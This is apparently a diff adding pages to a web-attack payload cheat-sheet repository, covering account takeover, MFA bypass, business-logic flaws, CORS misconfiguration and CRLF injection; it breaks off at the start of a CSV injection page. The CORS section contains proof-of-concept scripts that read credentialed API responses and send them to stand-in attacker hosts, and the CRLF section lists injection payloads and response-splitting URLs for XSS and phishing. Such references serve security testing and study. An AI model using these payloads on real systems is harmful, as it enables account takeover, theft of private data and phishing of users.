+ User-Agent: Smuggler/v1.0
156
+ Content-Length: 83
157
+
158
+ 0
159
+
160
+ GET http://something.burpcollaborator.net HTTP/1.1
161
+ X: X
162
+ ```
163
+
164
+ Hackerone reports exploiting this bug
165
+
166
+ * <https://hackerone.com/reports/737140>
167
+ * <https://hackerone.com/reports/771666>
168
+
169
+ ### Account Takeover via CSRF
170
+
171
+ 1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change"
172
+ 2. Send the payload
173
+
174
+ ### Account Takeover via JWT
175
+
176
+ JSON Web Token might be used to authenticate an user.
177
+
178
+ * Edit the JWT with another User ID / Email
179
+ * Check for weak JWT signature
180
+
181
+ ## References
182
+
183
+ * [$6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained - August 30, 2020](https://www.youtube.com/watch?v=gzM4wWA7RFo)
184
+ * [10 Password Reset Flaws - Anugrah SR - September 16, 2020](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
185
+ * [Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020](https://speakerdeck.com/harshbothra/broken-cryptography-and-account-takeovers?slide=28)
186
+ * [CTFd Account Takeover - NIST National Vulnerability Database - March 29, 2020](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
187
+ * [Hacking Grindr Accounts with Copy and Paste - Troy Hunt - October 3, 2020](https://www.troyhunt.com/hacking-grindr-accounts-with-copy-and-paste/)
payloads/Account Takeover/mfa-bypass.md ADDED
@@ -0,0 +1,99 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # MFA Bypasses
2
+
3
+ > Multi-Factor Authentication (MFA) is a security measure that requires users to provide two or more verification factors to gain access to a system, application, or network. It combines something the user knows (like a password), something they have (like a phone or security token), and/or something they are (biometric verification). This layered approach enhances security by making unauthorized access more difficult, even if a password is compromised.
4
+ > MFA Bypasses are techniques attackers use to circumvent MFA protections. These methods can include exploiting weaknesses in MFA implementations, intercepting authentication tokens, leveraging social engineering to manipulate users or support staff, or exploiting session-based vulnerabilities.
5
+
6
+ ## Summary
7
+
8
+ * [Response Manipulation](#response-manipulation)
9
+ * [Status Code Manipulation](#status-code-manipulation)
10
+ * [2FA Code Leakage in Response](#2fa-code-leakage-in-response)
11
+ * [JS File Analysis](#js-file-analysis)
12
+ * [2FA Code Reusability](#2fa-code-reusability)
13
+ * [Lack of Brute-Force Protection](#lack-of-brute-force-protection)
14
+ * [Missing 2FA Code Integrity Validation](#missing-2fa-code-integrity-validation)
15
+ * [CSRF on 2FA Disabling](#csrf-on-2fa-disabling)
16
+ * [Password Reset Disable 2FA](#password-reset-disable-2fa)
17
+ * [Backup Code Abuse](#backup-code-abuse)
18
+ * [Clickjacking on 2FA Disabling Page](#clickjacking-on-2fa-disabling-page)
19
+ * [Enabling 2FA doesn't expire Previously active Sessions](#enabling-2fa-doesnt-expire-previously-active-sessions)
20
+ * [Bypass 2FA by Force Browsing](#bypass-2fa-by-force-browsing)
21
+ * [Bypass 2FA with null or 000000](#bypass-2fa-with-null-or-000000)
22
+ * [Bypass 2FA with array](#bypass-2fa-with-array)
23
+
24
+ ## 2FA Bypasses
25
+
26
+ ### Response Manipulation
27
+
28
+ In response if `"success":false`
29
+ Change it to `"success":true`
30
+
31
+ ### Status Code Manipulation
32
+
33
+ If Status Code is **4xx**
34
+ Try to change it to **200 OK** and see if it bypass restrictions
35
+
36
+ ### 2FA Code Leakage in Response
37
+
38
+ Check the response of the 2FA Code Triggering Request to see if the code is leaked.
39
+
40
+ ### JS File Analysis
41
+
42
+ Rare but some JS Files may contain info about the 2FA Code, worth giving a shot
43
+
44
+ ### 2FA Code Reusability
45
+
46
+ Same code can be reused
47
+
48
+ ### Lack of Brute-Force Protection
49
+
50
+ Possible to brute-force any length 2FA Code
51
+
52
+ ### Missing 2FA Code Integrity Validation
53
+
54
+ Code for any user acc can be used to bypass the 2FA
55
+
56
+ ### CSRF on 2FA Disabling
57
+
58
+ No CSRF Protection on disabling 2FA, also there is no auth confirmation
59
+
60
+ ### Password Reset Disable 2FA
61
+
62
+ 2FA gets disabled on password change/email change
63
+
64
+ ### Backup Code Abuse
65
+
66
+ Bypassing 2FA by abusing the Backup code feature
67
+ Use the above mentioned techniques to bypass Backup Code to remove/reset 2FA restrictions
68
+
69
+ ### Clickjacking on 2FA Disabling Page
70
+
71
+ Iframing the 2FA Disabling page and social engineering victim to disable the 2FA
72
+
73
+ ### Enabling 2FA doesn't expire Previously active Sessions
74
+
75
+ If the session is already hijacked and there is a session timeout vuln
76
+
77
+ ### Bypass 2FA by Force Browsing
78
+
79
+ If the application redirects to `/my-account` url upon login while 2Fa is disabled, try replacing `/2fa/verify` with `/my-account` while 2FA is enabled to bypass verification.
80
+
81
+ ### Bypass 2FA with null or 000000
82
+
83
+ Enter the code **000000** or **null** to bypass 2FA protection.
84
+
85
+ ### Bypass 2FA with array
86
+
87
+ ```json
88
+ {
89
+ "otp":[
90
+ "1234",
91
+ "1111",
92
+ "1337", // GOOD OTP
93
+ "2222",
94
+ "3333",
95
+ "4444",
96
+ "5555"
97
+ ]
98
+ }
99
+ ```
payloads/Business Logic Errors/README.md ADDED
@@ -0,0 +1,91 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Business Logic Errors
2
+
3
+ > Business logic errors, also known as business logic flaws, are a type of application vulnerability that stems from the application's business logic, which is the part of the program that deals with real-world business rules and processes. These rules could include things like pricing models, transaction limits, or the sequences of operations that need to be followed in a multi-step process.
4
+
5
+
6
+ ## Summary
7
+
8
+ * [Methodology](#methodology)
9
+ * [Review Feature Testing](#review-feature-testing)
10
+ * [Discount Code Feature Testing](#discount-code-feature-testing)
11
+ * [Delivery Fee Manipulation](#delivery-fee-manipulation)
12
+ * [Currency Arbitrage](#currency-arbitrage)
13
+ * [Premium Feature Exploitation](#premium-feature-exploitation)
14
+ * [Refund Feature Exploitation](#refund-feature-exploitation)
15
+ * [Cart/Wishlist Exploitation](#cartwishlist-exploitation)
16
+ * [Thread Comment Testing](#thread-comment-testing)
17
+ * [References](#references)
18
+
19
+
20
+ ## Methodology
21
+
22
+ Unlike other types of security vulnerabilities like SQL injection or cross-site scripting (XSS), business logic errors do not rely on problems in the code itself (like unfiltered user input). Instead, they take advantage of the normal, intended functionality of the application, but use it in ways that the developer did not anticipate and that have undesired consequences.
23
+
24
+ Common examples of Business Logic Errors.
25
+
26
+ ### Review Feature Testing
27
+
28
+ * Assess if you can post a product review as a verified reviewer without having purchased the item.
29
+ * Attempt to provide a rating outside of the standard scale, for instance, a 0, 6 or negative number in a 1 to 5 scale system.
30
+ * Test if the same user can post multiple ratings for a single product. This is useful in detecting potential race conditions.
31
+ * Determine if the file upload field permits all extensions; developers often overlook protections on these endpoints.
32
+ * Investigate the possibility of posting reviews impersonating other users.
33
+ * Attempt Cross-Site Request Forgery (CSRF) on this feature, as it's frequently unprotected by tokens.
34
+
35
+
36
+ ### Discount Code Feature Testing
37
+
38
+ * Try to apply the same discount code multiple times to assess if it's reusable.
39
+ * If the discount code is unique, evaluate for race conditions by applying the same code for two accounts simultaneously.
40
+ * Test for Mass Assignment or HTTP Parameter Pollution to see if you can apply multiple discount codes when the application is designed to accept only one.
41
+ * Test for vulnerabilities from missing input sanitization such as XSS, SQL Injection on this feature.
42
+ * Attempt to apply discount codes to non-discounted items by manipulating the server-side request.
43
+
44
+
45
+ ### Delivery Fee Manipulation
46
+
47
+ * Experiment with negative values for delivery charges to see if it reduces the final amount.
48
+ * Evaluate if free delivery can be activated by modifying parameters.
49
+
50
+
51
+ ### Currency Arbitrage
52
+
53
+ * Attempt to pay in one currency, for example, USD, and request a refund in another, like EUR. The difference in conversion rates could result in a profit.
54
+
55
+
56
+ ### Premium Feature Exploitation
57
+
58
+ * Explore the possibility of accessing premium account-only sections or endpoints without a valid subscription.
59
+ * Purchase a premium feature, cancel it, and see if you can still use it after a refund.
60
+ * Look for true/false values in requests/responses that validate premium access. Use tools like Burp's Match & Replace to alter these values for unauthorized premium access.
61
+ * Review cookies or local storage for variables validating premium access.
62
+
63
+
64
+ ### Refund Feature Exploitation
65
+
66
+ * Purchase a product, ask for a refund, and see if the product remains accessible.
67
+ * Look for opportunities for currency arbitrage.
68
+ * Submit multiple cancellation requests for a subscription to check the possibility of multiple refunds.
69
+
70
+
71
+ ### Cart/Wishlist Exploitation
72
+
73
+ * Test the system by adding products in negative quantities, along with other products, to balance the total.
74
+ * Try to add more of a product than is available.
75
+ * Check if a product in your wishlist or cart can be moved to another user's cart or removed from it.
76
+
77
+
78
+ ### Thread Comment Testing
79
+
80
+ * Check if there's a limit to the number of comments on a thread.
81
+ * If a user can only comment once, use race conditions to see if multiple comments can be posted.
82
+ * If the system allows comments by verified or privileged users, try to mimic these parameters and see if you can comment as well.
83
+ * Attempt to post comments impersonating other users.
84
+
85
+
86
+ ## References
87
+
88
+ - [Business Logic Vulnerabilities - PortSwigger - 2024](https://portswigger.net/web-security/logic-flaws)
89
+ - [Business Logic Vulnerability - OWASP - 2024](https://owasp.org/www-community/vulnerabilities/Business_logic_vulnerability)
90
+ - [CWE-840: Business Logic Errors - CWE - March 24, 2011](https://cwe.mitre.org/data/definitions/840.html)
91
+ - [Examples of Business Logic Vulnerabilities - PortSwigger - 2024](https://portswigger.net/web-security/logic-flaws/examples)
payloads/CORS Misconfiguration/README.md ADDED
@@ -0,0 +1,283 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # CORS Misconfiguration
2
+
3
+ > A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker’s site using the victim’s credentials.
4
+
5
+
6
+ ## Summary
7
+
8
+ * [Tools](#tools)
9
+ * [Requirements](#requirements)
10
+ * [Methodology](#methodology)
11
+ * [Origin Reflection](#origin-reflection)
12
+ * [Null Origin](#null-origin)
13
+ * [XSS on Trusted Origin](#xss-on-trusted-origin)
14
+ * [Wildcard Origin without Credentials](#wildcard-origin-without-credentials)
15
+ * [Expanding the Origin](#expanding-the-origin)
16
+ * [Labs](#labs)
17
+ * [References](#references)
18
+
19
+
20
+ ## Tools
21
+
22
+ * [s0md3v/Corsy](https://github.com/s0md3v/Corsy/) - CORS Misconfiguration Scanner
23
+ * [chenjj/CORScanner](https://github.com/chenjj/CORScanner) - Fast CORS misconfiguration vulnerabilities scanner
24
+ * [@honoki/PostMessage](https://tools.honoki.net/postmessage.html) - POC Builder
25
+ * [trufflesecurity/of-cors](https://github.com/trufflesecurity/of-cors) - Exploit CORS misconfigurations on the internal networks
26
+ * [omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne) - Fast CORS Misconfiguration Discovery Tool
27
+
28
+
29
+ ## Requirements
30
+
31
+ * BURP HEADER> `Origin: https://evil.com`
32
+ * VICTIM HEADER> `Access-Control-Allow-Credential: true`
33
+ * VICTIM HEADER> `Access-Control-Allow-Origin: https://evil.com` OR `Access-Control-Allow-Origin: null`
34
+
35
+
36
+ ## Methodology
37
+
38
+ Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target `https://victim.example.com/endpoint`.
39
+
40
+ ### Origin Reflection
41
+
42
+ #### Vulnerable Implementation
43
+
44
+ ```powershell
45
+ GET /endpoint HTTP/1.1
46
+ Host: victim.example.com
47
+ Origin: https://evil.com
48
+ Cookie: sessionid=...
49
+
50
+ HTTP/1.1 200 OK
51
+ Access-Control-Allow-Origin: https://evil.com
52
+ Access-Control-Allow-Credentials: true
53
+
54
+ {"[private API key]"}
55
+ ```
56
+
57
+ #### Proof Of Concept
58
+
59
+ This PoC requires that the respective JS script is hosted at `evil.com`
60
+
61
+ ```js
62
+ var req = new XMLHttpRequest();
63
+ req.onload = reqListener;
64
+ req.open('get','https://victim.example.com/endpoint',true);
65
+ req.withCredentials = true;
66
+ req.send();
67
+
68
+ function reqListener() {
69
+ location='//attacker.net/log?key='+this.responseText;
70
+ };
71
+ ```
72
+
73
+ or
74
+
75
+ ```html
76
+ <html>
77
+ <body>
78
+ <h2>CORS PoC</h2>
79
+ <div id="demo">
80
+ <button type="button" onclick="cors()">Exploit</button>
81
+ </div>
82
+ <script>
83
+ function cors() {
84
+ var xhr = new XMLHttpRequest();
85
+ xhr.onreadystatechange = function() {
86
+ if (this.readyState == 4 && this.status == 200) {
87
+ document.getElementById("demo").innerHTML = alert(this.responseText);
88
+ }
89
+ };
90
+ xhr.open("GET",
91
+ "https://victim.example.com/endpoint", true);
92
+ xhr.withCredentials = true;
93
+ xhr.send();
94
+ }
95
+ </script>
96
+ </body>
97
+ </html>
98
+ ```
99
+
100
+ ### Null Origin
101
+
102
+ #### Vulnerable Implementation
103
+
104
+ It's possible that the server does not reflect the complete `Origin` header but
105
+ that the `null` origin is allowed. This would look like this in the server's
106
+ response:
107
+
108
+ ```
109
+ GET /endpoint HTTP/1.1
110
+ Host: victim.example.com
111
+ Origin: null
112
+ Cookie: sessionid=...
113
+
114
+ HTTP/1.1 200 OK
115
+ Access-Control-Allow-Origin: null
116
+ Access-Control-Allow-Credentials: true
117
+
118
+ {"[private API key]"}
119
+ ```
120
+
121
+ #### Proof Of Concept
122
+
123
+ This can be exploited by putting the attack code into an iframe using the data
124
+ URI scheme. If the data URI scheme is used, the browser will use the `null`
125
+ origin in the request:
126
+
127
+ ```html
128
+ <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
129
+ var req = new XMLHttpRequest();
130
+ req.onload = reqListener;
131
+ req.open('get','https://victim.example.com/endpoint',true);
132
+ req.withCredentials = true;
133
+ req.send();
134
+
135
+ function reqListener() {
136
+ location='https://attacker.example.net/log?key='+encodeURIComponent(this.responseText);
137
+ };
138
+ </script>"></iframe>
139
+ ```
140
+
141
+ ### XSS on Trusted Origin
142
+
143
+ If the application does implement a strict whitelist of allowed origins, the
144
+ exploit codes from above do not work. But if you have an XSS on a trusted
145
+ origin, you can inject the exploit coded from above in order to exploit CORS
146
+ again.
147
+
148
+ ```
149
+ https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>
150
+ ```
151
+
152
+ ### Wildcard Origin without Credentials
153
+
154
+ If the server responds with a wildcard origin `*`, **the browser does never send
155
+ the cookies**. However, if the server does not require authentication, it's still
156
+ possible to access the data on the server. This can happen on internal servers
157
+ that are not accessible from the Internet. The attacker's website can then
158
+ pivot into the internal network and access the server's data without authentication.
159
+
160
+ ```powershell
161
+ * is the only wildcard origin
162
+ https://*.example.com is not valid
163
+ ```
164
+
165
+ #### Vulnerable Implementation
166
+
167
+ ```powershell
168
+ GET /endpoint HTTP/1.1
169
+ Host: api.internal.example.com
170
+ Origin: https://evil.com
171
+
172
+ HTTP/1.1 200 OK
173
+ Access-Control-Allow-Origin: *
174
+
175
+ {"[private API key]"}
176
+ ```
177
+
178
+ #### Proof Of Concept
179
+
180
+ ```js
181
+ var req = new XMLHttpRequest();
182
+ req.onload = reqListener;
183
+ req.open('get','https://api.internal.example.com/endpoint',true);
184
+ req.send();
185
+
186
+ function reqListener() {
187
+ location='//attacker.net/log?key='+this.responseText;
188
+ };
189
+ ```
190
+
191
+
192
+ ### Expanding the Origin
193
+
194
+ Occasionally, certain expansions of the original origin are not filtered on the server side. This might be caused by using a badly implemented regular expressions to validate the origin header.
195
+
196
+ #### Vulnerable Implementation (Example 1)
197
+
198
+ In this scenario any prefix inserted in front of `example.com` will be accepted by the server.
199
+
200
+ ```
201
+ GET /endpoint HTTP/1.1
202
+ Host: api.example.com
203
+ Origin: https://evilexample.com
204
+
205
+ HTTP/1.1 200 OK
206
+ Access-Control-Allow-Origin: https://evilexample.com
207
+ Access-Control-Allow-Credentials: true
208
+
209
+ {"[private API key]"}
210
+
211
+ ```
212
+
213
+ #### Proof of Concept (Example 1)
214
+
215
+ This PoC requires the respective JS script to be hosted at `evilexample.com`
216
+
217
+ ```js
218
+ var req = new XMLHttpRequest();
219
+ req.onload = reqListener;
220
+ req.open('get','https://api.example.com/endpoint',true);
221
+ req.withCredentials = true;
222
+ req.send();
223
+
224
+ function reqListener() {
225
+ location='//attacker.net/log?key='+this.responseText;
226
+ };
227
+ ```
228
+
229
+ #### Vulnerable Implementation (Example 2)
230
+
231
+ In this scenario the server utilizes a regex where the dot was not escaped correctly. For instance, something like this: `^api.example.com$` instead of `^api\.example.com$`. Thus, the dot can be replaced with any letter to gain access from a third-party domain.
232
+
233
+ ```
234
+ GET /endpoint HTTP/1.1
235
+ Host: api.example.com
236
+ Origin: https://apiiexample.com
237
+
238
+ HTTP/1.1 200 OK
239
+ Access-Control-Allow-Origin: https://apiiexample.com
240
+ Access-Control-Allow-Credentials: true
241
+
242
+ {"[private API key]"}
243
+
244
+ ```
245
+
246
+ #### Proof of concept (Example 2)
247
+
248
+ This PoC requires the respective JS script to be hosted at `apiiexample.com`
249
+
250
+ ```js
251
+ var req = new XMLHttpRequest();
252
+ req.onload = reqListener;
253
+ req.open('get','https://api.example.com/endpoint',true);
254
+ req.withCredentials = true;
255
+ req.send();
256
+
257
+ function reqListener() {
258
+ location='//attacker.net/log?key='+this.responseText;
259
+ };
260
+ ```
261
+
262
+
263
+ ## Labs
264
+
265
+ * [PortSwigger - CORS vulnerability with basic origin reflection](https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack)
266
+ * [PortSwigger - CORS vulnerability with trusted null origin](https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack)
267
+ * [PortSwigger - CORS vulnerability with trusted insecure protocols](https://portswigger.net/web-security/cors/lab-breaking-https-attack)
268
+ * [PortSwigger - CORS vulnerability with internal network pivot attack](https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack)
269
+
270
+
271
+ ## References
272
+
273
+ - [[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7) - December 20, 2018](https://hackerone.com/reports/470298)
274
+ - [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018](https://web.archive.org/web/20190516052453/https://www.corben.io/advanced-cors-techniques/)
275
+ - [CORS misconfig | Account Takeover - Rohan (nahoragg) - October 20, 2018](https://hackerone.com/reports/426147)
276
+ - [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t) - October 29, 2018](https://hackerone.com/reports/430249)
277
+ - [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax) - September 15, 2016](https://hackerone.com/reports/168574)
278
+ - [CORS Misconfigurations Explained - Detectify Blog - April 26, 2018](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/)
279
+ - [Cross-origin resource sharing (CORS) - PortSwigger Web Security Academy - December 30, 2019](https://portswigger.net/web-security/cors)
280
+ - [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy) - June 1, 2017](https://hackerone.com/reports/235200)
281
+ - [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle - 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
282
+ - [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - December 16, 2016](https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/)
283
+ - [Think Outside the Scope: Advanced CORS Exploitation Techniques - Ayoub Safa (Sandh0t) - May 14 2019](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
payloads/CRLF Injection/Files/crlfinjection.txt ADDED
@@ -0,0 +1,17 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /%%0a0aSet-Cookie:crlf=injection
2
+ /%0aSet-Cookie:crlf=injection
3
+ /%0d%0aSet-Cookie:crlf=injection
4
+ /%0dSet-Cookie:crlf=injection
5
+ /%23%0aSet-Cookie:crlf=injection
6
+ /%23%0d%0aSet-Cookie:crlf=injection
7
+ /%23%0dSet-Cookie:crlf=injection
8
+ /%25%30%61Set-Cookie:crlf=injection
9
+ /%25%30aSet-Cookie:crlf=injection
10
+ /%250aSet-Cookie:crlf=injection
11
+ /%25250aSet-Cookie:crlf=injection
12
+ /%2e%2e%2f%0d%0aSet-Cookie:crlf=injection
13
+ /%2f%2e%2e%0d%0aSet-Cookie:crlf=injection
14
+ /%2F..%0d%0aSet-Cookie:crlf=injection
15
+ /%3f%0d%0aSet-Cookie:crlf=injection
16
+ /%3f%0dSet-Cookie:crlf=injection
17
+ /%u000aSet-Cookie:crlf=injection
payloads/CRLF Injection/README.md ADDED
@@ -0,0 +1,159 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Carriage Return Line Feed
2
+
3
+ > CRLF Injection is a web security vulnerability that arises when an attacker injects unexpected Carriage Return (CR) (\r) and Line Feed (LF) (\n) characters into an application. These characters are used to signify the end of a line and the start of a new one in network protocols like HTTP, SMTP, and others. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
4
+
5
+ ## Summary
6
+
7
+ * [Methodology](#methodology)
8
+ * [Session Fixation](#session-fixation)
9
+ * [Cross Site Scripting](#cross-site-scripting)
10
+ * [Open Redirect](#open-redirect)
11
+ * [Filter Bypass](#filter-bypass)
12
+ * [Labs](#labs)
13
+ * [References](#references)
14
+
15
+
16
+ ## Methodology
17
+
18
+ HTTP Response Splitting is a security vulnerability where an attacker manipulates an HTTP response by injecting Carriage Return (CR) and Line Feed (LF) characters (collectively called CRLF) into a response header. These characters mark the end of a header and the start of a new line in HTTP responses.
19
+
20
+ **CRLF Characters**:
21
+
22
+ * `CR` (`\r`, ASCII 13): Moves the cursor to the beginning of the line.
23
+ * `LF` (`\n`, ASCII 10): Moves the cursor to the next line.
24
+
25
+ By injecting a CRLF sequence, the attacker can break the response into two parts, effectively controlling the structure of the HTTP response. This can result in various security issues, such as:
26
+
27
+ * Cross-Site Scripting (XSS): Injecting malicious scripts into the second response.
28
+ * Cache Poisoning: Forcing incorrect content to be stored in caches.
29
+ * Header Manipulation: Altering headers to mislead users or systems
30
+
31
+
32
+ ### Session Fixation
33
+
34
+ A typical HTTP response header looks like this:
35
+
36
+ ```http
37
+ HTTP/1.1 200 OK
38
+ Content-Type: text/html
39
+ Set-Cookie: sessionid=abc123
40
+ ```
41
+
42
+ If user input `value\r\nSet-Cookie: admin=true` is embedded into the headers without sanitization:
43
+
44
+ ```http
45
+ HTTP/1.1 200 OK
46
+ Content-Type: text/html
47
+ Set-Cookie: sessionid=value
48
+ Set-Cookie: admin=true
49
+ ```
50
+
51
+ Now the attacker has set their own cookie.
52
+
53
+
54
+ ### Cross Site Scripting
55
+
56
+ Beside the session fixation that requires a very insecure way of handling user session, the easiest way to exploit a CRLF injection is to write a new body for the page. It can be used to create a phishing page or to trigger an arbitrary Javascript code (XSS).
57
+
58
+ **Requested page**
59
+
60
+ ```http
61
+ http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
62
+ ```
63
+
64
+ **HTTP response**
65
+
66
+ ```http
67
+ Set-Cookie:en
68
+ Content-Length: 0
69
+
70
+ HTTP/1.1 200 OK
71
+ Content-Type: text/html
72
+ Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
73
+ Content-Length: 34
74
+
75
+ <html>You have been Phished</html>
76
+ ```
77
+
78
+ In the case of an XSS, the CRLF injection allows to inject the `X-XSS-Protection` header with the value value "0", to disable it. And then we can add our HTML tag containing Javascript code .
79
+
80
+ **Requested page**
81
+
82
+ ```powershell
83
+ http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
84
+ ```
85
+
86
+ **HTTP Response**
87
+
88
+ ```http
89
+ HTTP/1.1 200 OK
90
+ Date: Tue, 20 Dec 2016 14:34:03 GMT
91
+ Content-Type: text/html; charset=utf-8
92
+ Content-Length: 22907
93
+ Connection: close
94
+ X-Frame-Options: SAMEORIGIN
95
+ Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
96
+ ETag: "842fe-597b-54415a5c97a80"
97
+ Vary: Accept-Encoding
98
+ X-UA-Compatible: IE=edge
99
+ Server: NetDNA-cache/2.2
100
+ Link: <https://example.com/[INJECTION STARTS HERE]
101
+ Content-Length:35
102
+ X-XSS-Protection:0
103
+
104
+ 23
105
+ <svg onload=alert(document.domain)>
106
+ 0
107
+ ```
108
+
109
+ ### Open Redirect
110
+
111
+ Inject a `Location` header to force a redirect for the user.
112
+
113
+ ```ps1
114
+ %0d%0aLocation:%20http://myweb.com
115
+ ```
116
+
117
+
118
+ ## Filter Bypass
119
+
120
+ [RFC 7230](https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.4) states that most HTTP header field values use only a subset of the US-ASCII charset.
121
+
122
+ > Newly defined header fields SHOULD limit their field values to US-ASCII octets.
123
+
124
+ Firefox followed the spec by stripping off any out-of-range characters when setting cookies instead of encoding them.
125
+
126
+ | UTF-8 Character | Hex | Unicode | Stripped |
127
+ | --------- | --- | ------- | -------- |
128
+ | `嘊` | `%E5%98%8A` | `\u560a` | `%0A` (\n) |
129
+ | `嘍` | `%E5%98%8D` | `\u560d` | `%0D` (\r) |
130
+ | `嘾` | `%E5%98%BE` | `\u563e` | `%3E` (>) |
131
+ | `嘼` | `%E5%98%BC` | `\u563c` | `%3C` (<) |
132
+
133
+ The UTF-8 character `嘊` contains `0a` in the last part of its hex format, which would be converted as `\n` by Firefox.
134
+
135
+
136
+ An example payload using UTF-8 characters would be:
137
+
138
+ ```js
139
+ 嘊嘍content-type:text/html嘊嘍location:嘊嘍嘊嘍嘼svg/onload=alert(document.domain()嘾
140
+ ```
141
+
142
+ URL encoded version
143
+
144
+ ```js
145
+ %E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28document.domain%28%29%E5%98%BE
146
+ ```
147
+
148
+
149
+ ## Labs
150
+
151
+ * [PortSwigger - HTTP/2 request splitting via CRLF injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection)
152
+ * [Root Me - CRLF](https://www.root-me.org/en/Challenges/Web-Server/CRLF)
153
+
154
+
155
+ ## References
156
+
157
+ - [CRLF Injection - CWE-93 - OWASP - May 20, 2022](https://www.owasp.org/index.php/CRLF_Injection)
158
+ - [CRLF injection on Twitter or why blacklists fail - XSS Jigsaw - April 21, 2015](https://web.archive.org/web/20150425024348/https://blog.innerht.ml/twitter-crlf-injection/)
159
+ - [Starbucks: [newscdn.starbucks.com] CRLF Injection, XSS - Bobrov - December 20, 2016](https://vulners.com/hackerone/H1:192749)
payloads/CSV Injection/README.md ADDED
@@ -0,0 +1,72 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # CSV Injection
2
+
3
